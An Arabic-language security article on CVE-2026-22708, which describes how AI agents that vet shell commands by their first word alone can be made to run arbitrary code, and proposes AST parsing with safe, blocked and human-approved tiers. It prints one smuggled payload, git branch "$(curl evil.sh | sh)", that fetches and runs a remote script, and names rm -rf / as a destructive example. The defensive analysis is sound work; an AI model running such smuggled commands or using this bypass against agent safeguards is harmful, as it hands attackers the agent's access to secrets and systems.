تُظهر ثغرة أمنية تم الكشف عنها حديثاً، CVE-2026-22708، أن وكلاء الذكاء الاصطناعي (AI agents) الذين يعتمدون على قوائم سماح (allowlists) بسيطة للأوامر يمكن خداعهم لتنفيذ برمجيات خبيثة. تسمح هذه الثغرة للمهاجم بإخفاء حمولة (payload) داخل أمر يبدو حميداً، مما يمنح الوكيل مساراً مباشراً لتشغيل سكربتات عشوائية على المضيف.

تعمل معظم المساعدات المدعومة بالذكاء الاصطناعي التي تؤتمت عمليات التطوير أو العمليات من خلال التحقق من الكلمة الأولى من الأمر مقابل قائمة بيضاء (whitelist). إذا تطابقت الكلمة مع إدخال مثل git أو npm يتم تمرير الطلب مباشرة. وتعد عملية "مطابقة البادئة" (prefix matching) هذه جذابة لأنها سهلة التنفيذ وتبدو وكأنها تمنع الوكيل من تشغيل أدوات خطيرة.

من الناحية العملية، يعد هذا النهج ثغرة أمنية. يمكن للمهاجم تضمين عملية استبدال أمر (command substitution) أو أي ميزة أخرى في الصدفة (shell) بعد الكلمة المسموح بها، ولن تكتشف القائمة البيضاء ذلك أبداً. أحد الأمثلة الكلاسيكية هو:

git branch "$(curl evil.sh | sh)"

ترى قائمة السماح كلمة git فقط وتوافق على الطلب. بعد ذلك، تقوم الصدفة (shell) بتوسيع $(curl evil.sh | sh)، وتحميل سكربت وتشغيله بصلاحيات الوكيل. وتنجح هذه الحيلة نفسها مع أي ملف ثنائي (binary) مدرج في القائمة البيضاء يقبل وسائط (arguments) تفسرها الصدفة.

التأثير شديد لأن وكلاء الذكاء الاصطناعي يُوكل إليهم بشكل متزايد إدارة بيئات ذات صلاحيات عالية—مثل خطوط أنابيب التكامل المستمر (continuous-integration pipelines)، وحاويات التطوير المستضافة سحابياً، وحتى محطات عمل المستخدمين. إذا تم استدراج الوكيل لتنفيذ حمولة، فسيحصل المهاجم على نفس حقوق الوصول التي يتمتع بها الوكيل، والتي غالباً ما تشمل مفاتيح سرية، أو بيانات اعتماد النشر، أو وصولاً غير مقيد إلى نظام الملفات.

لماذا تفشل قوائم السماح البسيطة

  • مطابقة النصوص، وليس السياسات – التحقق من الرمز (token) الأول فقط يتجاهل بنية سطر الأوامر، ولا يأخذ في الاعتبار كيفية تفسير الوسائط أو ما إذا كانت تحتوي على رموز ميتا (metacharacters) خاصة بالصدفة.
  • ميزات الصدفة قوية – يتم معالجة عمليات الاستبدال، وخطوط الأنابيب (pipelines)، وإعادة التوجيه (redirection) جميعها بعد فحص قائمة السماح، مما يحول أمراً يبدو غير ضار إلى استغلال كامل.
  • غياب الوعي بالسياق – لا تستطيع القائمة البيضاء التمييز بين git status الآمن و git push --force الخطير الذي قد يؤدي إلى الكتابة فوق سجل الإنتاج (production history).

نموذج أكثر مرونة

يتمثل رد فعل المجتمع تجاه CVE-2026-22708 في الانتقال من فحوصات النصوص الساذجة إلى تحليل الأوامر باستخدام شجرة الإعراب المجردة (Abstract Syntax Tree - AST). تمثل الـ AST البنية الهرمية للأمر، حيث تفصل الملف القابل للتنفيذ عن وسائطه وأي هياكل خاصة بالصدفة. وبمجرد تفكيك الأمر، يمكن لمحرك السياسات تقييمه مقابل ثلاث فئات متميزة:

  • آمن (SAFE) – الأوامر التي تطابق القواعد التي تم التحقق منها ولا تحتوي على هياكل خطيرة. يقوم الوكيل بتشغيل هذه الأوامر تلقائياً. مثال: git status.
  • محظور (BLOCKED) – الأوامر التي تطابق أنماطاً معروفة بأنها خطيرة، مثل تلك التي تصل إلى ملفات سرية، أو تحذف المجلدات، أو تستدعي سكربتات ذات صلاحيات عالية. يقوم الوكيل بإلغاء هذه الأوامر فوراً. مثال: rm -rf /.
  • غير مؤكد (UNCERTAIN) – الأوامر التي لا تندرج بوضوح تحت فئتي "آمن" أو "محظور". يجب على الوكيل طلب موافقة بشرية صريحة قبل المتابعة. مثال: git push --force.

يغير إدخال فئة UNCERTAIN نموذج التهديد. فبدلاً من معاملة كل أمر غير معروف كفشل، يحول النظام عدم اليقين إلى تفاعل محكوم. إحدى الطرق العملية لفرض خطوة الموافقة هي إصدار رمز HMAC يستخدم لمرة واحدة يجب على المستخدم تقديمه للوكيل. ولأن الرمز مرتبط تشفيرياً بالطلب، فلا يمكن للوكيل تزوير الموافقة.

الموازنة بين الأمان وسهولة الاستخدام

قد يجادل النقاد بأن تحليل AST يضيف تأخيراً (latency) أو أن النموذج ثلاثي المستويات قد يغرق المستخدمين بطلبات الموافقة، مما يقلل الإنتاجية. هذه المخاوف مشروعة: فمجموعة القواعد غير المضبوطة جيداً يمكن أن تولد نتائج إيجابية خاطئة (false positives)، كما أن التحليل المعقد قد يكون أثقل حاسوبياً من فحص النصوص البسيط. ومع ذلك، فإن البديل — وهو السماح بتنفيذ أكواد عشوائية — هو أكثر تكلفة بكثير. يمكن للنهج الهجين الذي يجمع بين تقنيات العزل (sandboxing) خفيفة الوزن وتحليل AST أن يخفف من تأثير الأداء مع الاستمرار في فرض سياسة قوية.

ما هو على المحك للمطورين والمؤسسات

  • سرية البيانات – يمكن للوكيل المخترق تسريب مفاتيح API، وكلمات المرور، والأكواد المملوكة للشركة.
  • سلامة النظام – يمكن للأوامر الخبيثة تعديل أو حذف ملفات الإنتاج، أو التراجع عن الإصدارات، أو تثبيت أبواب خلفية (backdoors).
  • التعرض للمساءلة التنظيمية – قد تؤدي الاختراقات الناتجة عن الأتمتة غير الآمنة إلى عقوبات تتعلق بالامتثال، خاصة في القطاعات التي تخضع لقواعد صارمة في التعامل مع البيانات.

المشاريع التي تتجاهل هذه المخاطر غالبًا ما تؤدي إما إلى شل حركة الوكيل (agent) بقواعد مقيدة للغاية أو تتركه عرضة للاستغلال. أما الحل الوسط — المتمثل في تحديد مجموعات واضحة من الفئات الآمنة (SAFE)، والمحظورة (BLOCKED)، وغير المؤكدة (UNCERTAIN) — فيوفر مسارًا عمليًا لتحقيق كل من الأمان والمنفعة.

ما يجب مراقبته لاحقًا

  • الأدوات (Tooling) – توقع ظهور مكتبات مفتوحة المصدر توفر أدوات تحليل (parsers) تعتمد على AST لأنظمة التشغيل (shells) الشائعة وخطوط أنابيب البناء (build pipelines)، بالإضافة إلى قوالب سياسات جاهزة.
  • المعايير (Standards) – قد تقترح المجموعات الصناعية مجموعات قواعد أساسية لأوامر التطوير النموذجية، على غرار الطريقة التي قامت بها بيئات تشغيل الحاويات (container runtimes) بتوحيد ملفات تعريف seccomp.
  • عمليات التدقيق (Audits) – من المرجح أن تضيف الفرق الأمنية "فحوصات سلامة القائمة المسموح بها" (allowlist sanity checks) إلى خطوط أنابيب تدقيق CI/CD الخاصة بها، مع وضع علامة تحذير على أي تكوين للوكيل يعتمد فقط على مطابقة البادئة (prefix matching).

الخلاصة

إذا كان وكيل الذكاء الاصطناعي الخاص بك لا يزال يقرر ما يجب تشغيله من خلال النظر فقط إلى الكلمة الأولى من الأمر، فإنه يكون عرضة للثغرة الأمنية الموضحة في CVE-2026-22708. استبدل هذا النهج بالتحليل القائم على AST وسياسة ثلاثية المستويات تفرض تأكيدًا بشريًا للإجراءات الغامضة. قد تبدو هذه الخطوة الإضافية وكأنها عائق، لكنها تحول نقطة عمياء إلى نقطة تحكم يمكن التحقق منها، مما يحمي الكود والبنية التحتية الخاصة بك على حد سواء.